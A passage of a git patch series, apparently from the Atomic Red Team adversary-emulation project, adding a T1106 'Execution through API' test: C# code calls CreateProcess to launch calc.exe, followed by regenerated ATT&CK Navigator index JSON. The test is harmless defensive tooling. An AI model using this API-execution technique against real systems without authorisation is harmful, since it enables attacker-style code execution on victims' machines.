z8@_#mwi$k+uWspA0a;h*`=PtOR4chWo0=YG21J9t}hPFUsI2$H4UgVo)wJ);k!uOs@ew6d&Q zu#0o87VD2}q&?BTmCtcrcJ?|~yV-d9Bk&s0P>4+UV!b%*PYH_Dx2~`pcN>Z#{fP$5 zc?T<)1#LbBT=^F$?oMFv6mtUnTnQZgtL9tgN9LDiXX|{Rj%TG=mDX$4JJxY1k21Cr z2p?fjRrAI=@kBm|FXOfRLw*jF!}ZSX$hkGnMQ%P;^SIkX^{GEBUJ%uyzcgA*;aHd-HBG3+M9`*yaA9biXU zhw7^7Z~qQ&@TlEn`+PjV0UB^Ok9O{Nih&UyI+ufSR=Ek{e333Di#x?)@g_9hS>6NQ z7SHe}!IRB}-j>|*vHzQ(PhbTp!5Da@>L64U4y_BxUi5xsEGZ&;$T4DRsc_T>G@@rh z!PEm&Z=-*unZ^vbq2)lgHfS)4>^y8<0Nwl)eB@rl&rp`dX0RvO`|JzW%{JlJ3hYhx zNA^)WpReTm`AN>;cIYo;Ee0pEW}n7dygGra^9Vz=G@(GFS57T9{)X`&kykK z&LHPfXEM-zxzh;URp2gkABV$!+YNzlvqX+4g@%7m4D&j?-awDr{96AL>`}L1c(4SX z?T9+x4Tl7D(FNoWWCu9$Ys6VUc-VZ!_pMrlK2tBzSL?g=&-EzUo!(2A(x+$*-A8*E zrZEOt^R{uWnXD!?Uuk9`W7eCS@OGb@vJ-VUvgJnWF4fK6pN)gkydQe#D@2`~< zr`-qdcD_A8b&ATV7Tosip{ka0f&C=VYN!2yeZW3pM{=Dzd?*~sSg5Djd^xX%YWj|+ zJG0<&<#*8SU^CgT+08vi&6BvqO^0530^Ig0e4;#u(nPA50F~V!4vUi_((49)|2r@6 z#(3G#PEWw6Y*PBE8Co^QPw>z8sh{SL^%wig{g?a?{T{&rc*!S&b-}hk)frcX)eQPb zaO5C`Bxxjz+zMV;3~#xSd_-EwNibuK7N-r+u25ge^0m9QhqP62lYR7IQ1O}i^?HHo zD=YOH0^tRtx?)&Ia0p?QFdF9I((<=!r9UAI|ud z@DU4m71a1n{to|=$2u1P!PA{7K*5d9Q76$I=4Qav-0QAHL^ZhW$gzQNNu$L?Q3!Nd zCY}?!#3zWXt{(AHfidNXrmf!9{-69Nzf&+cNDn3f6JQfLQAL)Ie4JXq3=;QQh=&U1@ zA`c6V$BfO!o5p8Gf*BwdZZj7t7rMjz)VxC722pBlxAs{V!=2=?VyMJJP>G-L&dxyS z=1i$WfFsX2ecV*n71M?9kMytguZM4V#IJycuJyP1J>eN{!d@;4mcmuN61=J=1<0vJ z?*Kbb^%#Uzjbj{%Ma1X8+dZeP*EZ=ppo4z-JNUE4%f=RCn{gDoD5rt#LL{eJ8P;sO z7~Hf1e(yehqqs{f6wAdcqF%Io-xK{J*0~=3auBk0ng2Yr+KykmuS4q0usR3%aoYRo zUvGc>a@%OPs7c`Rj)Po2UCq*$!Z=EKgCC~$H;6{jB-%vM_tVBhiBanB7kede@~8I} z3N;xD))6Dj7r^#(tJ!FDtQ+)!4^+>|rzZunnrW!;auFJdP*u zBtC>2T=3z_jc4&3p2rJ#A)mvG`4Twua$d>TfnjQSJy@oh@8fO!81LW_PK*=hBsfWM zafTzHIntaACkyD9=M<-F{$y=0)2?WF*z z+sRFSM$FM=v9QT6H-s$RVYZm_{?@>;xBuiZQ0h5WD|>-Y8(5zz$EoPtPBM-*rK zxqiMs-7iv=K}-EIAV!tH!LRY_pbMM)7QfYR_fPntARNdFb$NbI0vk#(6>*=5n9l{O zOouw37nA^7%7TiZD%cRz1a(1!>Tzfd+T|2RusKCfRctQ5qvY$;^&)t` z5`C%a!>v+XcXfJ$-lVtat$MqDLJ!d}jitS5B2A`*+BAjAmx@;TD`)M75~EcQ*P6L_DMhp_J&*5NLp6S5EdjAv*r)I~>xz3`A@eVph)5$wS;0AaV=UP}9C@fAap#zoJeX zL69D;YV!Z@>t}!NmXc;Q`|e+JSBZ=|yhwHzb=Hv(7^?bQa^9(W^CINFtS*;z`Ha$omTU14Uibx%^L`?+2cj>>wGw zNlgYn#SgMND^$`&Y5M;@rvLLjGC$tWlLmVFa8tX8RXHy6Iv-C_gig=ve{c`e25^53*uM_^FDI1AX{s$y0jqY;inDuAEE#A57SDfX=rdsdD8s>fb6W1rfv zM;%zn7$8~#&};~hOaR5wfM8ibuRMiDl6PWMe#sn?>m_HQuLEaRgEechn)Tq#W-#YI zaA%vEVB7)zEHOePMy-7%B4pp+@iX-Q>fe6=P)h*<6aW+e000O8&ONPAQO;B$!<{900000001BW00000002}mFfunTWq4&!O9ci1000010096u0002$nFas= E05It4djJ3c literal 0 HcmV?d00001 From c350a2389de634f2c9a13e784419e83a8bdd1dc5 Mon Sep 17 00:00:00 2001 From: Chirag Savla <33144026+3xpl01tc0d3r@users.noreply.github.com> Date: Wed, 13 May 2020 22:18:53 +0530 Subject: [PATCH 06/16] Added test for T1106 (#985) * Added test for T1106 * Added test for T1106 * Added test for T1106 * Added test for T1106 * Added test for T1106 * Added test for T1106 * Name and description updated Removed the atomic test number because that is calculated based on the order the test shows up in the yaml. Added description of what user should expect by default it the test runs successfully. Co-authored-by: Carrie Roberts --- atomics/T1106/T1106.yaml | 21 ++++++++++++ atomics/T1106/src/CreateProcess.cs | 55 ++++++++++++++++++++++++++++++ 2 files changed, 76 insertions(+) create mode 100644 atomics/T1106/T1106.yaml create mode 100644 atomics/T1106/src/CreateProcess.cs diff --git a/atomics/T1106/T1106.yaml b/atomics/T1106/T1106.yaml new file mode 100644 index 00000000..99755e23 --- /dev/null +++ b/atomics/T1106/T1106.yaml @@ -0,0 +1,21 @@ +attack_technique: T1106 +display_name: T1106 - +atomic_tests: +- name: 'Execution through API - CreateProcess' + description: Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt. + supported_platforms: + - windows + input_arguments: + source_file: + description: Location of the CSharp source_file + type: Path + default: PathToAtomicsFolder\T1106\src\CreateProcess.cs + output_file: + description: Location of the payload + type: Path + default: '%tmp%\T1106.exe' + executor: + command: | + C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe #{source_file} + %tmp/T1106.exe + name: command_prompt diff --git a/atomics/T1106/src/CreateProcess.cs b/atomics/T1106/src/CreateProcess.cs new file mode 100644 index 00000000..b16a11e3 --- /dev/null +++ b/atomics/T1106/src/CreateProcess.cs @@ -0,0 +1,55 @@ +using System; +using System.Runtime.InteropServices; + +namespace TestCode +{ + class Program + { + [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); + + public struct STARTUPINFO + { + uint cb; + IntPtr lpReserved; + IntPtr lpDesktop; + IntPtr lpTitle; + uint dwX; + uint dwY; + uint dwXSize; + uint dwYSize; + uint dwXCountChars; + uint dwYCountChars; + uint dwFillAttributes; + public uint dwFlags; + public ushort wShowWindow; + ushort cbReserved; + IntPtr lpReserved2; + IntPtr hStdInput; + IntPtr hStdOutput; + IntPtr hStdErr; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + public const uint CREATE_NEW_CONSOLE = 0x00000010; + + + static void Main(string[] args) + { + uint flags = CREATE_NEW_CONSOLE; + + STARTUPINFO startInfo = new STARTUPINFO(); + PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); + CreateProcess(@"C:\Windows\System32\cmd.exe", "/c calc.exe", (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo); + + } + } +} From efb886208f3e21e42be825363ebd6a7f954895eb Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 13 May 2020 16:49:09 +0000 Subject: [PATCH 07/16] Generate docs from job=validate_atomics_generate_docs branch=master --- .../art-navigator-layer-windows.json | 2 +- .../art-navigator-layer.json | 2 +- atomics/Indexes/Indexes-CSV/index.csv | 1 + atomics/Indexes/Indexes-CSV/windows-index.csv | 1 + atomics/Indexes/Indexes-Markdown/index.md | 3 +- .../Indexes/Indexes-Markdown/windows-index.md | 3 +- atomics/Indexes/Matrices/matrix.md | 2 +- atomics/Indexes/Matrices/windows-matrix.md | 2 +- atomics/Indexes/index.yaml | 83 +++++++++++++++++++ atomics/T1106/T1106.md | 53 ++++++++++++ 10 files changed, 146 insertions(+), 6 deletions(-) create mode 100644 atomics/T1106/T1106.md diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json index ed78347a..7daf4231 100644 --- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json +++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-windows.json @@ -1 +1 @@ -{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1004","score":100,"enabled":true},{"techniqueID":"T1007","score":100,"enabled":true},{"techniqueID":"T1010","score":100,"enabled":true},{"techniqueID":"T1012","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1015","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1023","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1028","score":100,"enabled":true},{"techniqueID":"T1031","score":100,"enabled":true},{"techniqueID":"T1032","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1035","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1038","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1042","score":100,"enabled":true},{"techniqueID":"T1044","score":100,"enabled":true},{"techniqueID":"T1047","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1050","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1055","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1058","score":100,"enabled":true},{"techniqueID":"T1060","score":100,"enabled":true},{"techniqueID":"T1062","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1073","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1075","score":100,"enabled":true},{"techniqueID":"T1076","score":100,"enabled":true},{"techniqueID":"T1077","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1084","score":100,"enabled":true},{"techniqueID":"T1085","score":100,"enabled":true},{"techniqueID":"T1086","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1088","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1093","score":100,"enabled":true},{"techniqueID":"T1095","score":100,"enabled":true},{"techniqueID":"T1096","score":100,"enabled":true},{"techniqueID":"T1097","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1100","score":100,"enabled":true},{"techniqueID":"T1101","score":100,"enabled":true},{"techniqueID":"T1102","score":100,"enabled":true},{"techniqueID":"T1103","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1112","score":100,"enabled":true},{"techniqueID":"T1114","score":100,"enabled":true},{"techniqueID":"T1115","score":100,"enabled":true},{"techniqueID":"T1117","score":100,"enabled":true},{"techniqueID":"T1118","score":100,"enabled":true},{"techniqueID":"T1119","score":100,"enabled":true},{"techniqueID":"T1121","score":100,"enabled":true},{"techniqueID":"T1122","score":100,"enabled":true},{"techniqueID":"T1123","score":100,"enabled":true},{"techniqueID":"T1124","score":100,"enabled":true},{"techniqueID":"T1126","score":100,"enabled":true},{"techniqueID":"T1127","score":100,"enabled":true},{"techniqueID":"T1128","score":100,"enabled":true},{"techniqueID":"T1130","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1137","score":100,"enabled":true},{"techniqueID":"T1138","score":100,"enabled":true},{"techniqueID":"T1140","score":100,"enabled":true},{"techniqueID":"T1141","score":100,"enabled":true},{"techniqueID":"T1143","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1170","score":100,"enabled":true},{"techniqueID":"T1173","score":100,"enabled":true},{"techniqueID":"T1174","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1179","score":100,"enabled":true},{"techniqueID":"T1180","score":100,"enabled":true},{"techniqueID":"T1183","score":100,"enabled":true},{"techniqueID":"T1191","score":100,"enabled":true},{"techniqueID":"T1193","score":100,"enabled":true},{"techniqueID":"T1196","score":100,"enabled":true},{"techniqueID":"T1197","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1202","score":100,"enabled":true},{"techniqueID":"T1204","score":100,"enabled":true},{"techniqueID":"T1207","score":100,"enabled":true},{"techniqueID":"T1208","score":100,"enabled":true},{"techniqueID":"T1214","score":100,"enabled":true},{"techniqueID":"T1216","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1218","score":100,"enabled":true},{"techniqueID":"T1219","score":100,"enabled":true},{"techniqueID":"T1220","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1223","score":100,"enabled":true},{"techniqueID":"T1482","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1489","score":100,"enabled":true},{"techniqueID":"T1490","score":100,"enabled":true},{"techniqueID":"T1500","score":100,"enabled":true},{"techniqueID":"T1502","score":100,"enabled":true},{"techniqueID":"T1504","score":100,"enabled":true},{"techniqueID":"T1505","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1531","score":100,"enabled":true}]} \ No newline at end of file +{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1004","score":100,"enabled":true},{"techniqueID":"T1007","score":100,"enabled":true},{"techniqueID":"T1010","score":100,"enabled":true},{"techniqueID":"T1012","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1015","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1023","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1028","score":100,"enabled":true},{"techniqueID":"T1031","score":100,"enabled":true},{"techniqueID":"T1032","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1035","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1038","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1042","score":100,"enabled":true},{"techniqueID":"T1044","score":100,"enabled":true},{"techniqueID":"T1047","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1050","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1055","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1058","score":100,"enabled":true},{"techniqueID":"T1060","score":100,"enabled":true},{"techniqueID":"T1062","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1073","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1075","score":100,"enabled":true},{"techniqueID":"T1076","score":100,"enabled":true},{"techniqueID":"T1077","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1084","score":100,"enabled":true},{"techniqueID":"T1085","score":100,"enabled":true},{"techniqueID":"T1086","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1088","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1093","score":100,"enabled":true},{"techniqueID":"T1095","score":100,"enabled":true},{"techniqueID":"T1096","score":100,"enabled":true},{"techniqueID":"T1097","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1100","score":100,"enabled":true},{"techniqueID":"T1101","score":100,"enabled":true},{"techniqueID":"T1102","score":100,"enabled":true},{"techniqueID":"T1103","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1106","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1112","score":100,"enabled":true},{"techniqueID":"T1114","score":100,"enabled":true},{"techniqueID":"T1115","score":100,"enabled":true},{"techniqueID":"T1117","score":100,"enabled":true},{"techniqueID":"T1118","score":100,"enabled":true},{"techniqueID":"T1119","score":100,"enabled":true},{"techniqueID":"T1121","score":100,"enabled":true},{"techniqueID":"T1122","score":100,"enabled":true},{"techniqueID":"T1123","score":100,"enabled":true},{"techniqueID":"T1124","score":100,"enabled":true},{"techniqueID":"T1126","score":100,"enabled":true},{"techniqueID":"T1127","score":100,"enabled":true},{"techniqueID":"T1128","score":100,"enabled":true},{"techniqueID":"T1130","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1137","score":100,"enabled":true},{"techniqueID":"T1138","score":100,"enabled":true},{"techniqueID":"T1140","score":100,"enabled":true},{"techniqueID":"T1141","score":100,"enabled":true},{"techniqueID":"T1143","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1170","score":100,"enabled":true},{"techniqueID":"T1173","score":100,"enabled":true},{"techniqueID":"T1174","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1179","score":100,"enabled":true},{"techniqueID":"T1180","score":100,"enabled":true},{"techniqueID":"T1183","score":100,"enabled":true},{"techniqueID":"T1191","score":100,"enabled":true},{"techniqueID":"T1193","score":100,"enabled":true},{"techniqueID":"T1196","score":100,"enabled":true},{"techniqueID":"T1197","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1202","score":100,"enabled":true},{"techniqueID":"T1204","score":100,"enabled":true},{"techniqueID":"T1207","score":100,"enabled":true},{"techniqueID":"T1208","score":100,"enabled":true},{"techniqueID":"T1214","score":100,"enabled":true},{"techniqueID":"T1216","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1218","score":100,"enabled":true},{"techniqueID":"T1219","score":100,"enabled":true},{"techniqueID":"T1220","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1223","score":100,"enabled":true},{"techniqueID":"T1482","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1489","score":100,"enabled":true},{"techniqueID":"T1490","score":100,"enabled":true},{"techniqueID":"T1500","score":100,"enabled":true},{"techniqueID":"T1502","score":100,"enabled":true},{"techniqueID":"T1504","score":100,"enabled":true},{"techniqueID":"T1505","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1531","score":100,"enabled":true}]} \ No newline at end of file diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json index 7d89c43b..18bf8bdb 100644 --- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json +++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer.json @@ -1 +1 @@ -{"version":"2.2","name":"Atomic Red Team","description":"Atomic Red Team MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1002","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1004","score":100,"enabled":true},{"techniqueID":"T1005","score":100,"enabled":true},{"techniqueID":"T1007","score":100,"enabled":true},{"techniqueID":"T1009","score":100,"enabled":true},{"techniqueID":"T1010","score":100,"enabled":true},{"techniqueID":"T1012","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1015","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1022","score":100,"enabled":true},{"techniqueID":"T1023","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1028","score":100,"enabled":true},{"techniqueID":"T1030","score":100,"enabled":true},{"techniqueID":"T1031","score":100,"enabled":true},{"techniqueID":"T1032","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1035","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1038","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1042","score":100,"enabled":true},{"techniqueID":"T1044","score":100,"enabled":true},{"techniqueID":"T1045","score":100,"enabled":true},{"techniqueID":"T1046","score":100,"enabled":true},{"techniqueID":"T1047","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1050","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1055","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1058","score":100,"enabled":true},{"techniqueID":"T1059","score":100,"enabled":true},{"techniqueID":"T1060","score":100,"enabled":true},{"techniqueID":"T1062","score":100,"enabled":true},{"techniqueID":"T1063","score":100,"enabled":true},{"techniqueID":"T1064","score":100,"enabled":true},{"techniqueID":"T1065","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1073","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1075","score":100,"enabled":true},{"techniqueID":"T1076","score":100,"enabled":true},{"techniqueID":"T1077","score":100,"enabled":true},{"techniqueID":"T1081","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1084","score":100,"enabled":true},{"techniqueID":"T1085","score":100,"enabled":true},{"techniqueID":"T1086","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1088","score":100,"enabled":true},{"techniqueID":"T1089","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1093","score":100,"enabled":true},{"techniqueID":"T1095","score":100,"enabled":true},{"techniqueID":"T1096","score":100,"enabled":true},{"techniqueID":"T1097","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1099","score":100,"enabled":true},{"techniqueID":"T1100","score":100,"enabled":true},{"techniqueID":"T1101","score":100,"enabled":true},{"techniqueID":"T1102","score":100,"enabled":true},{"techniqueID":"T1103","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1107","score":100,"enabled":true},{"techniqueID":"T1110","score":100,"enabled":true},{"techniqueID":"T1112","score":100,"enabled":true},{"techniqueID":"T1113","score":100,"enabled":true},{"techniqueID":"T1114","score":100,"enabled":true},{"techniqueID":"T1115","score":100,"enabled":true},{"techniqueID":"T1117","score":100,"enabled":true},{"techniqueID":"T1118","score":100,"enabled":true},{"techniqueID":"T1119","score":100,"enabled":true},{"techniqueID":"T1121","score":100,"enabled":true},{"techniqueID":"T1122","score":100,"enabled":true},{"techniqueID":"T1123","score":100,"enabled":true},{"techniqueID":"T1124","score":100,"enabled":true},{"techniqueID":"T1126","score":100,"enabled":true},{"techniqueID":"T1127","score":100,"enabled":true},{"techniqueID":"T1128","score":100,"enabled":true},{"techniqueID":"T1130","score":100,"enabled":true},{"techniqueID":"T1132","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1137","score":100,"enabled":true},{"techniqueID":"T1138","score":100,"enabled":true},{"techniqueID":"T1139","score":100,"enabled":true},{"techniqueID":"T1140","score":100,"enabled":true},{"techniqueID":"T1141","score":100,"enabled":true},{"techniqueID":"T1142","score":100,"enabled":true},{"techniqueID":"T1143","score":100,"enabled":true},{"techniqueID":"T1144","score":100,"enabled":true},{"techniqueID":"T1145","score":100,"enabled":true},{"techniqueID":"T1146","score":100,"enabled":true},{"techniqueID":"T1147","score":100,"enabled":true},{"techniqueID":"T1148","score":100,"enabled":true},{"techniqueID":"T1150","score":100,"enabled":true},{"techniqueID":"T1151","score":100,"enabled":true},{"techniqueID":"T1152","score":100,"enabled":true},{"techniqueID":"T1153","score":100,"enabled":true},{"techniqueID":"T1154","score":100,"enabled":true},{"techniqueID":"T1155","score":100,"enabled":true},{"techniqueID":"T1156","score":100,"enabled":true},{"techniqueID":"T1158","score":100,"enabled":true},{"techniqueID":"T1159","score":100,"enabled":true},{"techniqueID":"T1160","score":100,"enabled":true},{"techniqueID":"T1163","score":100,"enabled":true},{"techniqueID":"T1164","score":100,"enabled":true},{"techniqueID":"T1165","score":100,"enabled":true},{"techniqueID":"T1166","score":100,"enabled":true},{"techniqueID":"T1168","score":100,"enabled":true},{"techniqueID":"T1169","score":100,"enabled":true},{"techniqueID":"T1170","score":100,"enabled":true},{"techniqueID":"T1173","score":100,"enabled":true},{"techniqueID":"T1174","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1179","score":100,"enabled":true},{"techniqueID":"T1180","score":100,"enabled":true},{"techniqueID":"T1183","score":100,"enabled":true},{"techniqueID":"T1191","score":100,"enabled":true},{"techniqueID":"T1193","score":100,"enabled":true},{"techniqueID":"T1196","score":100,"enabled":true},{"techniqueID":"T1197","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1202","score":100,"enabled":true},{"techniqueID":"T1204","score":100,"enabled":true},{"techniqueID":"T1206","score":100,"enabled":true},{"techniqueID":"T1207","score":100,"enabled":true},{"techniqueID":"T1208","score":100,"enabled":true},{"techniqueID":"T1214","score":100,"enabled":true},{"techniqueID":"T1215","score":100,"enabled":true},{"techniqueID":"T1216","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1218","score":100,"enabled":true},{"techniqueID":"T1219","score":100,"enabled":true},{"techniqueID":"T1220","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1223","score":100,"enabled":true},{"techniqueID":"T1482","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1489","score":100,"enabled":true},{"techniqueID":"T1490","score":100,"enabled":true},{"techniqueID":"T1496","score":100,"enabled":true},{"t